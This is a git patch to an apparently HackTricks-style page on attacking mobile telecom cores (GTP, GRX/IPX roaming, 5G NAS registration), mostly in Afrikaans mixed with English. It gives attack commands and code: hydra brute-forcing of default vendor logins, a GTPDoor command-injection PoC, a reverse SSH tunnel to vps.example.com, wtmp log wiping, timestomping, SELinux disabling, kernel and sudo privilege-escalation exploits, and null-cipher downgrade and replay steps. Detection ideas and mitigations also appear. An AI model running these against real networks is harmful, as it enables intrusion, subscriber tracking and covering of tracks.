From eb33c8cc699fc90f8c7dd8d7ce90417225feb6c5 Mon Sep 17 00:00:00 2001 From: Translator Date: Sun, 7 Sep 2025 20:10:53 +0000 Subject: [PATCH] Translated ['', 'src/generic-methodologies-and-resources/pentesting-netw --- .../telecom-network-exploitation.md | 195 ++++++++++++++---- 1 file changed, 151 insertions(+), 44 deletions(-) diff --git a/src/generic-methodologies-and-resources/pentesting-network/telecom-network-exploitation.md b/src/generic-methodologies-and-resources/pentesting-network/telecom-network-exploitation.md index 427b00986..37f979b41 100644 --- a/src/generic-methodologies-and-resources/pentesting-network/telecom-network-exploitation.md +++ b/src/generic-methodologies-and-resources/pentesting-network/telecom-network-exploitation.md @@ -1,27 +1,27 @@ -# Telekom Netwerk Exploitatie (GTP / Roaming Omgewings) +# Telecom Network Exploitation (GTP / Roaming Environments) {{#include ../../banners/hacktricks-training.md}} > [!NOTE] -> Mobiele-kern protokolle (GPRS Tunneling Protocol – GTP) beweeg dikwels oor semi-vertroude GRX/IPX roaming rugsteun. Omdat hulle op gewone UDP loop met byna geen verifikasie nie, **kan enige voetstuk binne 'n telekomperimeter gewoonlik direk toegang tot kern seinvlakke verkry**. Die volgende notas versamel offensiewe truuks wat in die natuur teen SGSN/GGSN, PGW/SGW en ander EPC nodes waargeneem is. +> Mobile-core protocols (GPRS Tunnelling Protocol – GTP) dikwels traverse semi-trusted GRX/IPX roaming backbones. Omdat hulle op plain UDP loop met byna geen authentication nie, **enige foothold binne 'n telecom perimeter kan gewoonlik direk die core signalling planes bereik**. Die volgende notas versamel offensiewe truuks wat in die veld teen SGSN/GGSN, PGW/SGW en ander EPC-node waargeneem is. -## 1. Recon & Begin Toegang +## 1. Recon & Initial Access ### 1.1 Standaard OSS / NE Rekeninge -'n Verrassend groot stel verskaffer netwerk elemente word met hard-gecodeerde SSH/Telnet gebruikers soos `root:admin`, `dbadmin:dbadmin`, `cacti:cacti`, `ftpuser:ftpuser`, … verskaf. 'n Toegewyde woordlys verhoog die sukses van brute-force aanslae dramaties: +'n Verstommend groot stel vendor netwerkelemente word uitgereik met hard-gekodeerde SSH/Telnet gebruikers soos `root:admin`, `dbadmin:dbadmin`, `cacti:cacti`, `ftpuser:ftpuser`, … 'n Gespesialiseerde wordlist verhoog brute-force sukses dramaties: ```bash hydra -L usernames.txt -P vendor_telecom_defaults.txt ssh://10.10.10.10 -t 8 -o found.txt ``` -As die toestel slegs 'n bestuurs-VRF blootstel, draai eers deur 'n springgas (jump host) (sien afdeling «SGSN Emu Tunnel» hieronder). +As die toestel slegs 'n management VRF blootstel, pivot eers deur 'n jump host (sien afdeling «SGSN Emu Tunnel» hieronder). -### 1.2 Gasheer Ontdekking binne GRX/IPX -Meeste GRX-operateurs laat steeds **ICMP echo** oor die rugsteun toe. Kombineer `masscan` met die ingeboude `gtpv1` UDP-probes om vinnig GTP-C luisteraars te karteer: +### 1.2 Host-ontdekking binne GRX/IPX +Die meeste GRX-operateurs laat steeds **ICMP echo** oor die backbone toe. Kombineer `masscan` met die ingeboude `gtpv1` UDP-probes om vinnig GTP-C listeners te karteer: ```bash masscan 10.0.0.0/8 -pU:2123 --rate 50000 --router-ip 10.0.0.254 --router-mac 00:11:22:33:44:55 ``` -## 2. Opname van Subscribers – `cordscan` +## 2. Opsporing van intekenare – `cordscan` -Die volgende Go-instrument vervaardig **GTP-C Create PDP Context Request** pakkette en log die antwoorde. Elke antwoord onthul die huidige **SGSN / MME** wat die gevraagde IMSI bedien en, soms, die subscriber se besoekte PLMN. +Die volgende Go-tool skep **GTP-C Create PDP Context Request** pakkette en registreer die antwoorde. Elke antwoord openbaar die huidige **SGSN / MME** wat die bevraagde IMSI bedien en, soms, die intekenaar se besoekte PLMN. ```bash # Build GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan @@ -29,22 +29,22 @@ GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan # Usage (typical): ./cordscan --imsi 404995112345678 --oper 40499 -w out.pcap ``` -Belangrike vlae: -- `--imsi` Teiken abonnee IMSI +Sleutelvlae: +- `--imsi` Teikenabonnee IMSI - `--oper` Tuis / HNI (MCC+MNC) - `-w` Skryf rou pakkette na pcap -Belangrike konstantes binne die binêre kan gepatch word om skande te verbreed: +Belangrike konstantes binne die binary kan gepatched word om skanderings te verbreed: ``` pingtimeout = 3 // seconds before giving up pco = 0x218080 common_tcp_ports = "22,23,80,443,8080" ``` -## 3. Kode-uitvoering oor GTP – `GTPDoor` +## 3. Kode‑uitvoering oor GTP – `GTPDoor` -`GTPDoor` is 'n klein ELF-diens wat **UDP 2123 bind en elke inkomende GTP-C-pakket ontleed**. Wanneer die payload met 'n vooraf gedeelde etiket begin, word die oorblywende gedeeltes ontsleutel (AES-128-CBC) en uitgevoer via `/bin/sh -c`. Die stdout/stderr word binne **Echo Response** boodskappe uitgevoer sodat daar nooit 'n uitgaande sessie geskep word nie. +`GTPDoor` is 'n klein ELF‑diens wat **UDP 2123 bind en elke inkomende GTP‑C‑pakket ontleed**. Wanneer die payload begin met 'n vooraf gedeelde tag, word die res gedekripteer (AES-128-CBC) en uitgevoer via `/bin/sh -c`. Die stdout/stderr word exfiltrated binne **Echo Response** messages sodat geen uitgaande sessie ooit geskep word nie. -Minimale PoC-pakket (Python): +Minimale PoC‑pakket (Python): ```python import gtpc, Crypto.Cipher.AES as AES key = b"SixteenByteKey!" @@ -52,40 +52,40 @@ cmd = b"id;uname -a" enc = AES.new(key, AES.MODE_CBC, iv=b"\x00"*16).encrypt(cmd.ljust(32,b"\x00")) print(gtpc.build_echo_req(tag=b"MAG1C", blob=enc)) ``` -Detection: -* enige gasheer wat **ongebalanseerde Echo Versoeke** na SGSN IP's stuur -* GTP weergawe vlag op 1 gestel terwyl boodskap tipe = 1 (Echo) – afwyking van spesifikasie +Opsporing: +* enige host wat **unbalanced Echo Requests** na SGSN IPs stuur +* GTP version flag op 1 gestel terwyl message type = 1 (Echo) – afwyking van die spesifikasie -## 4. Pivoting Deur die Kern +## 4. Pivoting Deur die Core ### 4.1 `sgsnemu` + SOCKS5 -`OsmoGGSN` verskaf 'n SGSN-emulator wat in staat is om **'n PDP-konteks na 'n werklike GGSN/PGW te vestig**. Sodra dit onderhandel is, ontvang Linux 'n nuwe `tun0` koppelvlak wat bereikbaar is vanaf die roaming-peer. +`OsmoGGSN` lewer 'n SGSN emulator wat in staat is om **establish a PDP context towards a real GGSN/PGW**. Sodra dit onderhandel is, ontvang Linux 'n nuwe `tun0` interface wat vanaf die roaming peer bereikbaar is. ```bash sgsnemu -g 10.1.1.100 -i 10.1.1.10 -m 40499 -s 404995112345678 \ -APN internet -c 1 -d ip route add 172.16.0.0/12 dev tun0 microsocks -p 1080 & # internal SOCKS proxy ``` -Met behoorlike firewall hair-pinning, omseil hierdie tonnel slegs signalering VLANs en land jy direk in die **data plane**. +Met behoorlike firewall hair-pinning omseil hierdie tonnel signalling-only VLANs en beland jy direk in die **datavlak**. -### 4.2 SSH Terugtonnel oor Poort 53 -DNS is byna altyd oop in roaming infrastruktuur. Stel 'n interne SSH-diens bloot aan jou VPS wat luister op :53 en keer later terug van huis: +### 4.2 SSH Reverse Tunnel over Port 53 +DNS is byna altyd oop in roaming-infrastrukture. Maak 'n interne SSH-diens op jou VPS beskikbaar wat na :53 luister en keer later van die huis af terug: ```bash ssh -f -N -R 0.0.0.0:53:127.0.0.1:22 user@vps.example.com ``` -Kontroleer dat `GatewayPorts yes` op die VPS geaktiveer is. +Kontroleer dat `GatewayPorts yes` geaktiveer is op die VPS. -## 5. Verborgen Kanale +## 5. Covert Channels -| Kanaal | Vervoer | Dekodering | Aantekeninge | -|--------|---------|------------|--------------| -| ICMP – `EchoBackdoor` | ICMP Echo Req/Rep | 4-byte sleutel + 14-byte stukke (XOR) | suiwer passiewe luisteraar, geen uitgaande verkeer | -| DNS – `NoDepDNS` | UDP 53 | XOR (sleutel = `funnyAndHappy`) gekodeer in A-record oktette | kyk vir `*.nodep` sub-domein | -| GTP – `GTPDoor` | UDP 2123 | AES-128-CBC blob in private IE | meng met wettige GTP-C geselskap | +| Kanaal | Transport | Dekoding | Aantekeninge | +|--------|-----------|----------|-------------| +| ICMP – `EchoBackdoor` | ICMP Echo Req/Rep | 4-byte key + 14-byte chunks (XOR) | puur passiewe luisteraar, geen uitgaande verkeer | +| DNS – `NoDepDNS` | UDP 53 | XOR (key = `funnyAndHappy`) geënkodeer in A-record octets | kyk uit vir `*.nodep` sub-domein | +| GTP – `GTPDoor` | UDP 2123 | AES-128-CBC blob in private IE | meng met legitieme GTP-C verkeer | -Alle implante implementeer wagte wat **timestomp** hul binaire en herlaai as dit gebroke is. +All implants implement watchdogs that **timestomp** their binaries and re-spawn if crashed. -## 6. Verdediging Ontduiking Cheatsheet +## 6. Defense Evasion Cheatsheet ```bash # Remove attacker IPs from wtmp utmpdump /var/log/wtmp | sed '/203\.0\.113\.66/d' | utmpdump -r > /tmp/clean && mv /tmp/clean /var/log/wtmp @@ -100,7 +100,7 @@ printf '\0' > /proc/$$/comm # appears as [kworker/1] touch -r /usr/bin/time /usr/bin/chargen # timestomp setenforce 0 # disable SELinux ``` -## 7. Bevoegdheidstoename op Erfenis NE +## 7. Privilege Escalation op Legacy NE ```bash # DirtyCow – CVE-2016-5195 gcc -pthread dirty.c -o dirty && ./dirty /etc/passwd @@ -111,30 +111,137 @@ python3 PwnKit.py # Sudo Baron Samedit – CVE-2021-3156 python3 exploit_userspec.py ``` -Skoonmaakwenk: +Skoonmaak wenk: ```bash userdel firefart 2>/dev/null rm -f /tmp/sh ; history -c ``` -## 8. Gereedskapkas +## 8. Gereedskap -* `cordscan`, `GTPDoor`, `EchoBackdoor`, `NoDepDNS` – pasgemaakte gereedskap beskryf in vorige afdelings. +* `cordscan`, `GTPDoor`, `EchoBackdoor`, `NoDepDNS` – custom tooling described in previous sections. * `FScan` : intranet TCP sweeps (`fscan -p 22,80,443 10.0.0.0/24`) * `Responder` : LLMNR/NBT-NS rogue WPAD -* `Microsocks` + `ProxyChains` : liggewig SOCKS5 pivoting -* `FRP` (≥0.37) : NAT traversie / bates bridging +* `Microsocks` + `ProxyChains` : lightweight SOCKS5 pivoting +* `FRP` (≥0.37) : NAT traversal / asset bridging + +## 9. 5G NAS-registrasie-aanvalle: SUCI-lekke, afgradeer na EEA0/EIA0, en NAS-herspel + +Die 5G-registrasieprosedure loop oor NAS (Non-Access Stratum) bo-op NGAP. Tot NAS-sekuriteit geaktiveer word deur Security Mode Command/Complete, is aanvanklike boodskappe nie geverifieer of enkripteer nie. Hierdie pre-sekuriteitsvenster maak verskeie aanvalspaaie moontlik wanneer jy N2-verkeer kan waarneem of manipuleer (bv. on-path binne die core, rogue gNB, of testbed). + +Registrasiestroom (vereenvoudig): +- Registration Request: UE stuur SUCI (geënkripteerde SUPI) en vermoëns. +- Authentication: AMF/AUSF stuur RAND/AUTN; UE stuur terug RES*. +- Security Mode Command/Complete: NAS-integriteit en kodering word onderhandel en geaktiveer. +- PDU Session Establishment: IP/QoS opstelling. + +Lab opstelling wenke (non-RF): +- Core: Open5GS se standaard-implementering is voldoende om vloei te reproduseer. +- UE: simulator of toets-UE; dekodeer met Wireshark. +- Aktiewe gereedskap: 5GReplay (vang/wysig/herspeel NAS binne NGAP), Sni5Gect (snuffel/pleister/inspuit NAS op die vlug sonder om 'n volledige rogue gNB op te stel). +- Nuttige vertoonfilters in Wireshark: +- ngap.procedure_code == 15 (InitialUEMessage) +- nas_5g.message_type == 65 or nas-5gs.message_type == 65 (Registration Request) + +### 9.1 Identiteitsprivaatheid: SUCI-foute wat SUPI/IMSI blootstel +Verwag: UE/USIM moet SUCI stuur (SUPI geënkripteer met die tuisnetwerk se publieke sleutel). Om 'n platte teks SUPI/IMSI in die Registration Request te vind dui 'n privaatheidsfout aan wat volgehoue abonnnee-opsporing moontlik maak. + +Hoe om te toets: +- Vang die eerste NAS-berig in InitialUEMessage en ondersoek die Mobile Identity IE. +- Wireshark vinnige kontroles: +- Dit moet as SUCI dekodeer, nie IMSI nie. +- Filtervoorbeelde: `nas-5gs.mobile_identity.suci || nas_5g.mobile_identity.suci` should exist; absence plus presence of `imsi` indicates leakage. + +Wat om te versamel: +- MCC/MNC/MSIN indien blootgestel; log per-UE en volg oor tyd/liggings. + +Mitigasie: +- Handhaaf SUCI-only UE/USIMs; waarsku by enige IMSI/SUPI in die aanvanklike NAS. + +### 9.2 Vermoë-afgradeer na nul-algoritmes (EEA0/EIA0) +Agtergrond: +- UE adverteer ondersteunde EEA (enkripsie) en EIA (integriteit) in die UE Security Capability IE van die Registration Request. +- Algemene toewysings: EEA1/EIA1 = SNOW3G, EEA2/EIA2 = AES, EEA3/EIA3 = ZUC; EEA0/EIA0 is nul-algoritmes. + +Probleem: +- Omdat die Registration Request nie integriteitbeskerm is nie, kan 'n on-path aanvaller vermoë-bits uitvee om die keuse van EEA0/EIA0 later tydens Security Mode Command af te dwing. Sommige stacks laat verkeerdelik nul-algoritmes toe buite nooddienste. + +Aanvalsritte: +- Onderbreek InitialUEMessage en wysig die NAS UE Security Capability om slegs EEA0/EIA0 te adverteer. +- Met Sni5Gect, haak die NAS-berig en pleister die vermoë-bits voordat dit deurgestuur word. +- Waarnem of AMF nul-sifrering/integriteit aanvaar en Security Mode met EEA0/EIA0 voltooi. + +Verifikasie/sigbaarheid: +- In Wireshark, bevestig die gekose algoritmes na Security Mode Command/Complete. +- Voorbeeld van passiewe sniffer-uitset: +``` +Encyrption in use [EEA0] +Integrity in use [EIA0, EIA1, EIA2] +SUPI (MCC+MNC+MSIN) 9997000000001 +``` +Mitigasies (moet): +- Konfigureer AMF/policy om EEA0/EIA0 te weier, behalwe waar dit streng verpligtend is (bv., noodoprope). +- Verkies om EEA2/EIA2 ten minste af te dwing; registreer en waarsku oor enige NAS security context wat null-algoritmes onderhandel. + +### 9.3 Replay of initial Registration Request (pre-security NAS) +Omdat die aanvanklike NAS nie integriteit en nuutheid het nie, kan vasgevang InitialUEMessage+Registration Request na die AMF herspeel word. + +PoC rule for 5GReplay to forward matching replays: +```xml + + + + + + + + + + + +``` +Wat om waar te neem: +- Of AMF die replay aanvaar en voortgaan na verifikasie; gebrek aan vernuwing-/konteksvalidasie dui op blootstelling. + +Mitigerings: +- Dwing herhalingsbeskerming/konteksbinding by AMF af; pas rate-limit toe en korreleer per-GNB/UE. + +### 9.4 Tooling pointers (reproducible) +- Open5GS: spin up an AMF/SMF/UPF om die core te emuleer; observe N2 (NGAP) en NAS. +- Wireshark: verifieer dekodes van NGAP/NAS; pas die filtere hierbo toe om Registration te isoleer. +- 5GReplay: capture a registration, then replay specific NGAP + NAS messages as per the rule. +- Sni5Gect: live sniff/modify/inject die NAS control-plane om null algorithms af te dwing of authentication-sekwense te versteur. + +### 9.5 Verdedigende kontrolelys +- Continuously inspect Registration Request for plaintext SUPI/IMSI; blokkeer oortredende toestelle/USIMs. +- Reject EEA0/EIA0 behalwe vir nou omskrewe noodprosedures; vereis minstens EEA2/EIA2. +- Detect rogue or misconfigured infrastructure: unauthorized gNB/AMF, unexpected N2 peers. +- Alert on NAS security modes that result in null algorithms or frequent replays of InitialUEMessage. --- ## Opsporingsidees -1. **Enige toestel anders as 'n SGSN/GGSN wat Create PDP Context Requests opstel**. -2. **Nie-standaard poorte (53, 80, 443) wat SSH handdrukke ontvang** van interne IP's. -3. **Frekwente Echo Versoeke sonder ooreenstemmende Echo Antwoorde** – kan GTPDoor bakens aandui. -4. **Hoë tempo van ICMP echo-antwoorde verkeer met groot, nie-nul identifiseerder/volgorde velde**. +1. **Enige toestel anders as 'n SGSN/GGSN wat Create PDP Context Requests tot stand bring**. +2. **Nie-standaard poorte (53, 80, 443) wat SSH handshakes ontvang** van interne IPs. +3. **Gereelde Echo Requests sonder ooreenstemmende Echo Responses** – kan op GTPDoor beacons dui. +4. **Hoë tempo van ICMP echo-reply verkeer met groot, nie-nul identifier/sequence velde**. +5. 5G: **InitialUEMessage carrying NAS Registration Requests repeated from identical endpoints** (replay signal). +6. 5G: **NAS Security Mode negotiating EEA0/EIA0** buite noodkontekste. -## Verwysings +## References -- [Palo Alto Unit42 – Infiltratie van Globale Telekomnetwerke](https://unit42.paloaltonetworks.com/infiltration-of-global-telecom-networks/) +- [Palo Alto Unit42 – Infiltration of Global Telecom Networks](https://unit42.paloaltonetworks.com/infiltration-of-global-telecom-networks/) - 3GPP TS 29.060 – GPRS Tunnelling Protocol (v16.4.0) - 3GPP TS 29.281 – GTPv2-C (v17.6.0) +- [Demystifying 5G Security: Understanding the Registration Protocol](https://bishopfox.com/blog/demystifying-5g-security-understanding-the-registration-protocol) +- 3GPP TS 24.501 – Non-Access-Stratum (NAS) protocol for 5GS +- 3GPP TS 33.501 – Security architecture and procedures for 5G System {{#include ../../banners/hacktricks-training.md}}